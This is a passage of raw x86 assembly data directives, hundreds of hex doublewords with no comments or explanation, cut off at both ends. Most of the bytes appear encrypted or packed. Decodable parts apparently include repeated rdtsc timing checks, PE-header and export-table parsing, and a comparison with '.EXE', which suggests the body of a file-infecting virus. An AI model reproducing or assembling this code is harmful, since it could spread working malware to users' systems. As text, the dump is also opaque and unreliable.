19C3FCD0h, 0E1A7F78Eh, 0EF3C6EB7h, 136B2A80h, 42B6D33Ah dd 0FF5EE18Eh, 3952A0A1h, 359C846h, 55DC0000h, 0C0623E5Ah dd 54EBA7C5h, 0F77F2B49h, 66029EFAh, 95E20163h, 600001ADh dd 0D5B79234h, 5F3D3CB9h, 0C7A5A043h, 6325790Ch, 717C719Bh dd 0EC8034EFh, 713E4F5Ah, 0A9BA39D9h, 243293D5h, 0AF552176h dd 37BF2DAAh, 0AF2C4D3Ah, 0DCD2C7DEh, 540E1883h, 9BA478DEh dd 770866F1h, 0B37C71D8h, 63FD94F4h, 0F2B3C0DDh, 58367E5Ch dd 655E7C71h, 0ED5E30A7h, 7582BEB8h, 68049B0Ah, 5B56DECCh dd 66CC4D2Ah, 861909AAh, 0C8DEA9Bh, 0B4B3306Ch, 783577C7h dd 546F7624h, 384F1FB6h, 0E07C71D9h, 0F07C1087h, 0C3C663F1h dd 6D16AA6Bh, 159E0A96h, 7912871Eh, 0F60FBF13h, 0A42520C2h dd 1FB79234h, 4A033C90h, 0BC2BA8AFh, 0D50F4925h, 3EDA7C71h dd 0F1C37ACBh, 0A2087705h, 3A089BF3h, 0B1C082BFh, 24F99BDDh dd 0C14E2976h, 39E3DCB0h, 5A6FD0AEh, 651E7C72h, 90EED6E8h dd 7C71F3D8h, 4BEE9BE4h, 620F9DCEh, 39911E6Fh, 0D067FEB9h dd 0E337D5DBh, 0DC729272h, 0D0B0B73Ch, 0A3CC3FC4h, 6653D10Fh dd 64610795h, 98E99617h, 717E8ACAh, 0B9827Ch, 93106160h dd 942B8312h, 5482BEBBh, 49725A2Bh, 0E7BA1483h, 0C67C6C81h dd 1B89942Ah, 8CED9A9Fh, 52ED8A26h, 0C5AF401h, 0FCDA48C7h dd 33000001h, 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h dd 9FA4C4C5h, 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h dd 82DCF360h, 7C719CC6h, 0B9DB4C12h, 5049DC7Eh, 0E5EC28C8h dd 0C64FE7C1h, 7269D7E8h, 0D95AF67Ch, 0ACA34EDAh, 9A0D6A06h dd 0E9EDAB03h, 0BCFB7C71h, 720E9916h, 2F87F0F7h, 0AD4145D8h dd 68532B83h, 1A9933A2h, 116E610Ch, 0DABB1390h, 0E0BA943h dd 34E72AA8h, 640382BAh, 9D4370D9h, 59C94612h, 173h, 44243BBAh dd 0CDAFAA48h, 31534ED1h, 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h dd 881E8A16h, 6A3FF9Dh, 8E356103h, 637AE98Bh, 719E4D0Bh dd 42C59B7Ch, 49DC7EB9h, 81210FB7h, 3A940380h, 7624327Eh dd 10852D4Ah, 31440079h, 0F761F570h, 0CA66715Fh, 0E3B27C71h dd 7189CD8Bh, 1F9C1B7Ch, 8491126Eh, 71896E2Ah, 0BC3D7A7Ch dd 2423C0DCh, 9C3E7957h, 52DE7209h, 72D9F75Fh, 1B82BEEAh dd 696E2A84h, 2B7A7624h, 246A1553h, 47C4A376h, 0C4A4C3EFh dd 4D2F2AC8h, 0DF27CE51h, 5EE71573h, 58106EF9h, 6476246Bh dd 0A2FE9A1Bh, 0C216FB02h, 286B0C22h, 92413733h, 54D552BAh dd 0DDDC5834h, 9DDBB34Ah, 2B76250Fh, 0CBDAE64Ch, 0CEA0B331h dd 76250F8Ah, 0DBA82956h, 18A474DAh, 992F7B19h, 0F84C49Ah dd 32B07625h, 522C4537h, 76251016h, 0C744C5A2h, 7C55B50h dd 0F570F3F3h, 5F544D5Dh, 2E800F56h, 7624BB6Ah, 0B27C0976h dd 0FC9C3245h, 86127E71h, 744DF5FDh, 0A9248B03h, 45C26F02h dd 72ED9D2h, 82FE4F4Ah, 1293E0E7h, 0F1AD3D95h, 0C4C5616Fh dd 0D56C2547h, 24CCBFF9h, 0F6620D76h, 0DC7251h, 0AC029537h dd 7C722DBFh, 6D3F4C2Bh, 4753D0C6h, 5425A2BFh, 3A3FC557h dd 1421DFBDh, 0A6000000h, 0D395E980h, 0E1762432h, 0DA43086h dd 84F5F073h, 85344FE7h, 494E5FCh, 790B787Fh, 0FC8CFDFCh dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h dd 0B9BFCCC9h, 81E18951h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch dd 89525C24h, 4C281E2h, 83000000h, 148704EAh, 14895C24h dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 2404895Ch dd 21266857h, 0D15F7EBDh, 13C781E7h, 8908D31Fh, 243C8BFAh dd 5404C483h, 8324048Bh, 0B86804C4h, 8900002Bh, 408F2414h dd 2434FF08h, 4C48358h, 5A2434FFh, 0E904C483h, 0FFFB1125h dd 12B68E4Dh, 0CF60E681h, 60BAD6D2h, 0B8032A53h, 64D6CD7h dd 0C38BC503h, 0E99C1150h, 0A5F04843h, 0F105AC44h, 51173B2h dd 796D378Bh, 0FFBC721Ch, 82FF87A5h, 30818749h, 47CA2683h dd 23BE7A39h, 598A6Dh, 3FBD313Fh, 30BC773Eh, 65BC5DDDh dd 30BC3406h, 0F3E11777h, 14D0BEE6h, 14F8B6D9h, 30BC2DEAh dd 0F3E97277h, 0EFD0286h, 0D9D18BFCh, 30BC351Ch, 30BC249Fh dd 7BB231BBh, 0FCEB7438h, 204966Eh, 0A1F62A60h, 9966AA5Fh dd 0C101B487h, 30BA7FDEh, 30B7B378h, 0F75537BBh, 0B1BC37DFh dd 84755B19h, 0B739BA25h, 0A0BA7AD6h, 30BC3234h, 0B7B7D0EEh dd 0BBEC0144h, 0BBDAA770h, 5939BA12h, 5ABA7A83h, 33546177h dd 10BC37BBh, 0B9E2F483h, 0B1B8139Ah, 2BB81333h, 76BC37BBh dd 4032F48Bh, 4C80AF3h, 0B1DA0EFDh, 0D84E2C5Ch, 30BC37CCh dd 3AE2A345h, 1B7B930Bh, 33234B28h, 0D3926AA5h, 0D92C6DBEh dd 30BC377Fh, 951A129Dh, 80F06EB5h, 0D80657BEh, 6086E3ABh dd 30BBDFE9h, 0A59437DDh, 783648Dh, 1B36D43h, 1BD38DDDh dd 0A0DD6F87h, 0D8EB3784h, 30BC3774h, 6F7F689Bh, 34984B54h dd 3498736Fh, 30BC3762h, 767F60FCh, 0CE0551AFh, 8BDA579Dh dd 0B5B3DD85h, 30BC37BFh, 0BF9D88BBh, 3238388Fh, 0BBBC3777h dd 9129C840h, 82BA7FEDh, 627CBCE3h, 6EDD5725h, 0DB76B7E4h dd 22258A5Eh, 45BC31A6h, 501B47Eh, 30BA7FB6h, 63EC2EA9h dd 4A04F765h, 0B9BC3773h, 78958E3Eh, 5421BADBh, 0CFBA7D4Ah dd 0B3E46CA4h, 78B10206h, 27C837DBh, 4A0464BEh, 0B9BC3773h dd 78958E3Eh, 6321BADBh, 0CFBA7D4Fh, 0D8E46CA4h, 30BC37B5h dd 0C9B253EBh, 87AED56h, 0B7563ED8h, 0D8DCE6C3h, 30BC37D8h dd 0F9E4FC4Ah, 6EDD6CD0h, 77F4F83Ah, 0F03776E4h, 5DCDAA63h dd 4205313Ah, 0BDE7D43Eh, 7DE1FF58h, 0FE3D51E8h, 0E0439C3Bh dd 3B7280B4h, 4138381Dh, 5ABC37EEh, 33546577h, 10BC37BBh dd 0B9E6F487h, 0B1B813BAh, 26B81333h, 72BC37BBh, 0F7C6F48Fh dd 3431383Fh, 56BC3777h, 0BD963E05h, 78F2B740h, 30BF8FE8h dd 30D63777h, 30BFDFEAh, 699C37DDh, 7C356E2Dh, 743D3353h dd 30A8339Fh, 61FD37DDh, 87B3DF2Dh, 8ADA67A0h, 0CFE6F711h dd 30AEDE3Eh, 2B8537EEh, 11E484ECh, 8B07102Dh, 0C779FC32h dd 15E0E91Eh, 5DC5AAFAh, 56DC31F6h, 0A481C55Ch, 0F839BA8Fh dd 0C8BA7A2Ah, 2055E744h, 50BC37DDh, 0EF0CD8B4h, 0B801E07Bh dd 55C70736h, 3B6A545Fh, 0B38382Eh, 0CCBC3777h, 0BD09FE3Bh dd 78F2B740h, 23E78DE8h, 3FDC073Ah, 30BC353Bh, 51E260DDh dd 30BC3656h, 30B3DE77h, 1C0037BBh, 91CFF6ACh, 9021ED47h dd 0DBBF3770h, 565FC881h, 0F3D3FE5Ch, 0AD31FD64h, 36F15A09h dd 30BC3052h, 0C22BBDDDh, 5F56962Ch, 6D74B2FAh, 0D23D31F6h dd 6BB48286h, 0F0B7E711h, 30F0B378h, 30D637BBh, 30BFDF8Fh dd 6A9C37EEh, 64356DB4h, 743D339Fh, 30A933F9h, 62FE37EEh dd 0BD87C2B4h, 78F2B726h, 3304CFDBh, 5ABC37EEh, 33546177h dd 10BC37BBh, 0B9E2F483h, 0B1B8139Ah, 24B81333h, 76BC37BBh dd 0CF13F48Bh, 0F697890Dh, 3FFF2E33h, 30BC3637h, 8D31CFDDh dd 36F15A89h, 4065BAFAh, 4D0431F6h, 3367C81h, 7895726Bh dd 0F1731C71h, 5DC5AAFAh, 56DC31F6h, 0A481C55Ch, 0F839BA8Fh dd 0C8BA7A2Ah, 2055E744h, 0E98337DDh, 8BA4F305h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 36D7FF2Dh, 0CA8B60EAh, 615BF553h, 8BF7B70Fh, 0A1B966C3h dd 6AC08B44h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 140C350h, 0D471C9FAh dd 83F569F7h, 481299BDh, 9750006h, 0D35BD83h, 74000648h dd 8B535019h, 47AB8C0h, 85890000h, 6482FF9h, 0A4CB9D8Dh dd 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h, 47AB853h dd 85890000h, 6482FF9h, 0A16C9D8Dh, 0D3FF064Ah, 0DE8585Bh dd 1B000000h, 0F4451808h, 3B23E42Fh, 6EB95786h, 0CE9h dd 74081700h, 0B3323C11h, 63238C41h, 60F55E41h, 0F616060h dd 0B561F2BFh, 0C08B61FEh, 13CE9h, 4Fh dup(0) dd 0DDBD8300h, 1064809h, 55B840Fh, 8E90000h, 83000000h dd 556A42Dh, 60B3D25Ah, 5820Fh, 81660000h, 0E992EAC8h dd 14h, 0D0B3B3E4h, 669B002Fh, 0C4EE3E64h, 0FBA2216Ch dd 2B75C4BDh, 0F985C661h, 4306480Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 54C35343h, 0CFE29CF4h, 40177FC4h dd 11E9FCh, 4A480000h, 7B22B6DEh, 8EECF10Fh, 5C079C87h dd 0E845E1FCh, 4, 0ECA5D0F5h, 53DE8B60h, 5BF18B66h, 8A605061h dd 448B61F5h, 52500424h, 665E5260h, 0F61C18Bh, 52506031h dd 585A310Fh, 5A615853h, 0E9008B58h, 9, 8875EB84h, 2A361775h dd 24448988h, 50525004h, 14E952h, 0DCC20000h, 0F281C1Bh dd 57830D44h, 38CECF0Ch, 67E4B3E7h, 310F088Eh, 8E0Fh, 585A0000h dd 6E9310Fh, 1C000000h, 68E6399Eh, 58585A80h, 12E860h dd 0C72F0000h, 3ACAC64Ch, 0B700BBBEh, 455CFEDCh, 60EBD100h dd 8B0Fh, 0F85F0000h, 81666061h, 0E8AD08F0h, 5, 0AB2471B9h dd 6E82Ch, 90650000h, 9A0C3426h, 0FF615F5Bh, 4829A9B5h dd 8E906h, 5B870000h, 0EDCEEAE6h, 858D43CBh, 64B7F60h dd 0F5D0FFFCh, 5BD8589h, 0C6F80648h, 480FF985h, 68FC5006h dd 0DA0295D9h, 52505250h, 310F5250h, 310F585Ah, 585A6160h dd 5250310Fh, 310F6160h, 310F5250h, 585A585Ah, 3481585Ah dd 0AF388F24h, 0F7816072h, 5E5591B6h, 61DAB70Fh, 29A9B5FFh dd 0B1600648h, 78E0BA4Bh, 8D61365Fh, 4B7F6085h, 0FE906h dd 15190000h, 0C886C289h, 27B70147h, 76FEB642h, 0E9D0FF9Bh dd 6, 67EEF362h, 8589E2A8h, 6482FE9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 80C35646h, 0E9B44A7Eh, 11h dd 97E1DECFh, 6CF91A13h, 6897104h, 8964C7D7h, 0E30F68D3h dd 12E9B891h, 31000000h, 0B7515698h, 662F2F7h, 5F99C23Ah dd 6EB5C6E1h, 240481E3h, 37FDC520h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 25C35242h, 0D16931BCh, 18B0Fh dd 0E9FC0000h, 12h, 0DE46E9DAh, 51F72CDAh, 0F94CB0E6h dd 0D439CC9Eh, 0B5FFB4FFh, 64829A9h, 60858DF8h, 0F064B7Fh dd 1781h, 12E900h, 0FA8B0000h, 4875AB5Bh, 0AAA30FDDh, 0A0637402h dd 8D71404Dh, 0CE9D0FFh, 81000000h, 399E1C71h, 2D8068E6h dd 8949FE93h, 48332585h, 85C6FC06h, 6480FF9h, 4E8F550h dd 56000000h, 50979CDCh, 3FB96052h, 504D70FAh, 5A310F52h dd 310F6158h, 61605250h, 6160310Fh, 585A585Ah, 0F525050h dd 68Ch, 0F525000h, 0F585A31h, 2820F31h, 60000000h, 8B585A61h dd 0F042444h, 0E87h, 0F525000h, 81h, 60310F00h, 8B585A61h dd 0E880F00h, 50000000h, 890F52h, 0F000000h, 5A616031h dd 24448958h, 0BA666004h, 0BF66D569h, 586107B5h, 0A8C0Fh dd 0F600000h, 83h, 61C38B00h, 0B840Fh, 6E90000h, 41000000h dd 0A1B88632h, 0D5B5FFC0h, 0E906480Eh, 8, 0B545BBF9h, 9F1F3FABh dd 8850Fh, 830F0000h, 2, 858D6160h, 64838BAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E4C35545h, 6D5D31E8h dd 890FAEE7h, 1Ch, 16840Fh, 11E90000h, 4E000000h, 0FF59CD98h dd 0F4691AA3h, 45390FD3h, 82862C5Bh, 89F8D0FFh, 48171185h dd 0DE906h, 0A9CD0000h, 0E4C3855Eh, 4292A877h, 0E934D1B3h dd 17Dh, 525050FCh, 61605250h, 0AE9310Fh, 0CC000000h, 6D2F33AEh dd 76EC99B1h, 0F585A49h, 50525031h, 5A310F52h, 0E9310F58h dd 0Fh, 3EA96D57h, 4A0C04D9h, 0C590DAEAh, 5A9EA1EEh, 89585A58h dd 8D0F242Ch, 0Ch, 7E9h, 6DAFFC00h, 569CA831h, 6660EC8Bh dd 8B66F28Bh, 0C48361F7h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E9927872h dd 14h, 0FD135090h, 270D2085h, 6C59C8B8h, 0E7031C64h, 223DDD4h dd 0CE96060h, 77000000h, 58196715h, 0D897B097h, 66BFD3A4h dd 61FD82BEh, 0E8h, 0EA815A00h, 64D77ACh, 0FC45C7h, 83000000h dd 4809DDBAh, 840F0106h, 98h, 6A006A52h, 0BD92FF0Fh, 5A064805h dd 71D08289h, 9A8D064Dh, 64D71D4h, 2803C752h, 53000001h dd 0E992FF50h, 5A06482Fh, 0D49A8D52h, 53064D71h, 71D0B2FFh dd 92FF064Dh, 6481711h, 74C00B5Ah, 0D49A8D50h, 8D064D71h dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h, 4558452Eh dd 348DEE75h, 0C752B39h, 2C59BA8Dh, 4D8B0648h, 32A4F30Ch dd 0FF52AAC0h, 828D0875h, 6482C59h, 2592FF50h, 5A064833h dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0 dd 0FC458B61h, 8C2C9h, 7E9F8h, 0BEC00000h, 54ECF7E1h, 8DD28B76h dd 4D78FD8Dh, 891CB406h, 4814058Dh, 0F18B6606h, 302585C7h dd 71600648h, 51600000h, 5FF98B66h, 5E8h, 34BE9D00h, 0C3807904h dd 0C76158F0h, 482AD985h, 6, 0A99D0B00h, 0FF064814h, 4827D9B5h dd 8E906h, 931F0000h, 3588B510h, 95FF4B2Eh, 6480E71h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0D5C35747h, 133D958Bh dd 81660648h, 6AA553D2h, 2D95FF00h, 8B064809h, 0E51EEBC0h dd 0C46238A3h, 0F2B08CE0h, 25BADD55h, 4FA80AC2h, 3D5CD6DCh dd 786CCD7Dh, 4D88FDFCh, 0EE818h, 0ABDE0000h, 0ED44EFEEh dd 2F3DC619h, 0F9A1857h, 5B9B501h, 0B75E0648h, 8DC6814Fh dd 2B000066h, 480B0D8Dh, 29FF2B06h, 48004985h, 3734FF06h dd 13860Fh, 0EE90000h, 0E7000000h, 81F3EBDAh, 7A3BB7F5h dd 0D62A9CBCh, 958B5802h, 6482299h, 0B109E881h, 0BD89399Ch dd 6481801h, 64D0F081h, 0FE93B7Fh, 99000000h, 8E34D847h dd 0A4FCF17Fh, 0DED1FD47h, 0E8813473h, 1BDB8C25h, 0B899D29h dd 3500648h, 48068D95h, 3E048F06h, 4FD9523h, 0B70F0648h dd 2EF83CBh, 2EA59D8Bh, 4F4F0648h, 20218589h, 0FF810648h dd 0FFFF9A44h, 11850Fh, 8D8B0000h, 6482F69h, 1AE9h, 8CB9A500h dd 9FFEEBBh, 48168D95h, 0FF5FE906h, 0A5DCFFFFh, 0DE245E66h dd 0E8D7F128h, 13h, 97818584h, 0EA3414B3h, 3D6E6704h, 80EF2AC7h dd 665961AAh, 770AC281h, 0D98D8B5Eh, 81064828h, 6BB7C6h dd 0D1BF0F00h, 0B8h, 3C8BF800h, 0CEBF0F06h, 1924C781h dd 0BA665998h, 0F7811F3Bh, 1352E1C4h, 71B52360h, 8B06481Ch dd 4827E58Dh, 0EF816106h, 1B6F3732h, 63C89F9h, 5260C88Bh dd 0EDD858Bh, 15F0648h, 4812758Dh, 0E8816106h, 3BB90592h dd 28E19D8Bh, 0C0810648h, 3BB9058Eh, 81FCCA80h, 0FF950CF8h dd 1B850FFFh, 0F000000h, 30E9DFB7h, 48000000h, 7AD3F14Ch dd 421FCCE4h, 0A4676AFEh, 0C7B50980h, 0BD893792h, 64809D9h dd 0FFFF79E9h, 0DA5603FFh, 8FCFD3B4h, 72879432h, 10931FA3h dd 8D3588B5h, 4D7B7E8Dh, 58D8906h, 0E9064814h, 0Eh, 0F6C3CFB7h dd 0D874A1A4h, 1C80F15Bh, 85C7E39Fh, 6483025h, 6578h, 66F0B70Fh dd 85C7C18Bh, 6482AD9h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 78C35242h dd 0F04E443Ah, 8D89B3B3h, 6480ECDh, 0D3DB5FFh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 8E2A84C3h, 0FF3E12D5h, 480E7195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD8B6A60h dd 6480ED9h, 95FF006Ah, 648092Dh, 1BEBC08Bh, 6756A674h dd 2F85F280h, 504066AFh, 596D0723h, 0FCD87FDFh, 8DD14A5Dh dd 0E9DD77FFh, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h dd 480ED5B5h, 60858D06h, 0FF064B7Fh, 958589D0h, 8B06481Bh dd 0CEFC1FEh, 6000068h, 6A006A20h, 0D685702h, 0FF000100h dd 481B9595h, 32E906h, 85C60000h, 6480FF9h, 30DF6856h dd 0B5FFA9C5h, 64829A9h, 7F60858Dh, 0D0FF064Bh, 0C0D8589h dd 858D0648h, 648093Dh, 6A406A50h, 95FF5605h, 6480C0Dh dd 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 21858908h, 8B064D7Ch, 85890C42h dd 64D7C19h, 8910428Bh, 4D7C1D85h, 57B58D06h, 8D064D7Ch dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7C21B58Bh, 858B064Dh dd 64D7C19h, 7C1DBD83h, 0F00064Dh, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 64D7C21h, 7CA8B58Dh dd 858D064Dh, 5B7E35h, 5A61D0FFh, 7C21858Bh, 4C2064Dh dd 21858B00h, 8B064D7Ch, 21858900h, 0CF064D7Ch, 0 dd 7EB58960h, 89064D7Ch, 4D7C7A85h, 45858D06h, 8B064801h dd 85894440h, 64D7CB7h, 7CEDB58Dh, 858D064Dh, 5B7E35h dd 8B61D0FFh, 4D7C7E85h, 9D8BC306h, 64D7C7Ah, 3C43B70Fh dd 5B8BD803h, 7A9D0378h, 8B064D7Ch, 0B5032473h, 64D7C7Ah dd 207B8B56h, 31C738Bh, 4D7C7ABDh, 7AB50306h, 0FC064D7Ch dd 41FFC983h, 7C7E9D8Bh, 178B064Dh, 7C7A9503h, 0C783064Dh dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 7C7A8503h, 8589064Dh, 64D7C7Eh, 0CE8BF08Bh dd 0BD81C18Bh, 64D7CB7h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 4D7CB7BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 64D7CB7h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 4D7CB7BDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 64D7C25h, 28F98589h dd 858D0648h, 64D7CBBh, 318589h, 858D0648h, 64D7C82h, 1CC18589h dd 5CE90648h, 3B000001h, 0C1F0581Dh, 0B1964049h, 3B0A525Ah dd 0F8535954h, 930A5A54h, 9F53515Ah, 8E3A7A73h, 23532826h dd 79C40827h, 9D60BC7Bh, 87526FB4h, 97531E16h, 0DF531E17h dd 0EB531E16h, 0F7531E16h, 0FB531E16h, 0D2531E16h, 0FE531E16h dd 77531E16h, 0BF531E16h, 8C531E16h, 8A276D6Fh, 0A7731E7Bh dd 9E307164h, 0FD0E6D65h, 0FE531E16h, 7F531E16h, 0BF531E16h dd 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h dd 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h dd 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h dd 0BF531E16h, 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h dd 0FD531E16h, 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h dd 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h dd 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h, 0F7531E16h dd 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h, 0BF531E16h dd 0DF531E16h, 0EF531E16h, 0F7531E16h, 0FB531E16h, 0FD531E16h dd 0FE531E16h, 7F531E16h, 0BF531E16h, 0DF531E16h, 0EF531E16h dd 0F7531E16h, 0FB531E16h, 0FD531E16h, 0FE531E16h, 7F531E16h dd 0BF531E16h, 0DF531E16h, 7531E16h, 0E90E9C5Eh, 1724h dd 4D816068h, 0C924E906h, 5B68FFFBh, 0E9064D82h, 0FFFBC91Ah dd 4D831368h, 0C910E906h, 0D968FFFBh, 0E9064D83h, 0FFFBC906h dd 4D858568h, 0C8FCE906h, 0DC68FFFBh, 0E9064D86h, 0FFFBC8F2h dd 4D878468h, 0C8E8E906h, 4A68FFFBh, 0E9064D88h, 0FFFBC8DEh dd 4D8A8768h, 0C8D4E906h, 9F68FFFBh, 0E9064D8Bh, 0FFFBC8CAh dd 4D8C4F68h, 0C8C0E906h, 0E668FFFBh, 0E9064D8Ch, 0FFFBC8B6h dd 4D8E3468h, 0C8ACE906h, 0EE68FFFBh, 0E9064D93h, 0FFFBC8A2h dd 4D950968h, 0C898E906h, 555EFFFBh, 0C1D9C78Bh, 454F4901h dd 0D0B7D199h, 733E5810h, 0CBB421A9h, 32BE6E2Bh, 0B8301094h dd 0D4D971Eh, 91D91D83h, 4926A1C9h, 0AC73D7FFh, 117708CDh dd 297AE56h, 0B4166B93h, 0C6029806h, 0BCE0EB8Ah, 75BAF18h dd 14B68F52h, 72CE1A6h, 636B73D2h, 0BD83BF4Dh, 4F299E38h dd 0CC000000h, 9D316590h, 3357AFF3h, 0C8A015F7h, 52620F1Fh dd 33B44C8Fh, 73D27262h, 3EB02587h, 0F77008ACh, 73D27226h dd 0BA7479C3h, 25FFA4EAh, 721AF7B0h, 355D73D2h, 0FFFD296Bh dd 54E680EDh, 0BAFFF73Ah, 891B1533h, 9E383C7Dh, 0DFD7h dd 11779E00h, 0CBDFC1D5h, 0A88460Fh, 711F5D8Fh, 15E1EF2Bh dd 90DE0E8Bh, 810787CEh, 226F3145h, 34EAF4FAh, 9A24AA6Eh dd 2A619D3h, 0F3759A7Bh, 0F45055ADh, 0ED99E4C6h, 6390C3C1h dd 46A7CFA9h, 850BF5B5h, 6809BE63h, 8D759AF5h, 0A01C5133h dd 36A46026h, 7C10444Fh, 52CCDFCBh, 0D1D4728Fh, 4021A90Bh dd 0FA6D0135h, 891C78BDh, 0E0AEC698h, 0A2EFB1A1h, 789C7D7Ah dd 0E7797598h, 4E4B5505h, 7AEE3F9Eh, 0AA200225h, 148403h dd 0BC6C1700h, 0CA0E923Ch, 429E1886h, 0D91B800Eh, 528AF791h dd 0E202631Eh, 6B7565A7h, 0D5F3FF2Bh, 5A4474D0h, 0F0C88044h dd 0FE8E6FD8h, 0E6B73D7h, 1CA081C9h, 5FCDD0EFh, 2465696Ch dd 0B8EEE8E0h, 45A47C7Ch, 2DBE4260h, 7C1DCA3Fh, 99759AC9h dd 0C77065C7h, 4CFB6590h, 759A7FAFh, 7E16F04Ah, 526259C9h dd 4A62FC8Fh, 726435B2h, 3F8173D2h, 4E03F8B6h, 8373D272h dd 997C501h, 481C5292h, 859D4678h, 0ADD96B45h, 79E38C4h dd 0A5h, 0D511772Eh, 6CB8F9E7h, 7B13B96Eh, 0BCE2759Ah dd 30567078h, 7BE8893Eh, 0B30D759Ah, 7BCFAC1Bh, 902A759Ah dd 0D2FDB836h, 4C77CB2Dh, 9A12FA9Bh, 604D1F75h, 64C66803h dd 2FF39750h, 0B05E8F52h, 87A614F4h, 64BA3E78h, 836DCFC9h dd 671B26CFh, 0F6A8984Fh, 0F749891Ch, 14F0B1DFh, 0AD7F3AA4h dd 25F729C0h, 2E8F4D02h, 1389h, 31B96B2Ch, 0BB37F397h dd 34F9B1Dh, 8AC61E85h, 135F8D0Ch, 0B8F91966h, 22626C6Ch dd 0A9ECEAE6h, 4B517F73h, 0D3FBC38Fh, 0D7FD8714h, 0CE076273h dd 9ED20A77h, 626EAAF0h, 0E91177CDh, 517F7DADh, 492BF555h dd 3DDA8D25h, 0D8759A7Fh, 79F4F06h, 8AC01C99h, 8B11BD30h dd 9273034Fh, 31467762h, 0A8683010h, 9D0787CEh, 178D0B41h dd 7A409FD3h, 0B795147Ah, 284C773Eh, 8E07C384h, 902A8F52h dd 0A0C39F20h, 0DEE9785Ch, 3D5512BAh, 987E90A7h, 0E2ED88C6h dd 107E16BEh, 0BA044A96h, 28F97233h, 9A2478DDh, 32F6ACF2h dd 4E8A10BEh, 0E6D942EFh, 0C7F664F3h, 12D1h, 0E9E12364h dd 737FBBEFh, 0FBF75355h, 420EC6DDh, 0CB874544h, 7031D1DEh dd 0FABA2494h, 6124A22Eh, 0F3A937BBh, 8B23BB37h, 0D7FC3FDCh dd 16DFDA73h, 0F592A081h, 96499756h, 626B35EFh, 0D4DE267Ch dd 9E784208h, 762A55D0h, 0D0D1E95Eh, 0AA348F52h, 26E2B826h dd 0A2C2CDA8h, 0D69125E7h, 73D2E039h, 0CA002DCh, 216EE85Bh dd 1FB70989h, 0E3EF2B71h, 0D9098D13h, 0A5814BFCh, 2EA74EEAh dd 0B03EFAA0h, 10F8BAE4h, 0A406B494h, 244994DAh, 8BCEEA6Ah dd 0C7AE2781h, 73F498BCh, 8F6CB0D0h, 0D9C7EF71h, 216F07C3h dd 7A36BF7Bh, 0CC82465Ch, 5B461E29h, 0D88F2781h, 891A70A6h dd 0F904E17Bh, 15022771h, 120B16A7h, 0E5AE0000h, 7129B73Bh dd 159F39B1h, 800781C9h, 38E0840h, 9BE491D9h, 0E2EE3E7Bh dd 6860A0E4h, 0FDFD276Eh, 4109CDD3h, 0F9965179h, 1C73D7FCh dd 0A77589Dh, 83FCB9EEh, 714ED7Ch, 0DD9D7FD9h, 6C26E445h dd 34D1617Ah, 0ABCFFA81h, 0B43E4403h, 1DB8F52h, 0B97D236Dh dd 465C7A34h, 0DAC0CE82h, 6C28761Eh, 29AC3EBCh, 0D185B075h dd 9D2C0ABDh, 77C9891Ah, 231D6D79h, 0B2DA1E84h, 797CB4ECh dd 0AFD3FE87h, 67216F07h, 2D7532BBh, 2E8F5296h, 0F6E42460h dd 99EDE1D4h, 0D286412Eh, 0B81AA473h, 0C26F3514h, 0A17FD641h dd 0D2094926h, 0B012AC73h, 0EBB5413Dh, 99454FB7h, 0A62F89D3h dd 28A66238h, 0BD33F5AAh, 248881Fh, 0F75C52B2h, 4D533DE9h dd 58D3500Ah, 41233E0Ch, 2C3CB10Bh, 0B0679212h, 8EC1208h dd 5165C733h, 1ACD7096h, 11927389h, 37EDA8E6h, 7D65C2D6h dd 0F4E44678h, 7A70B4EAh, 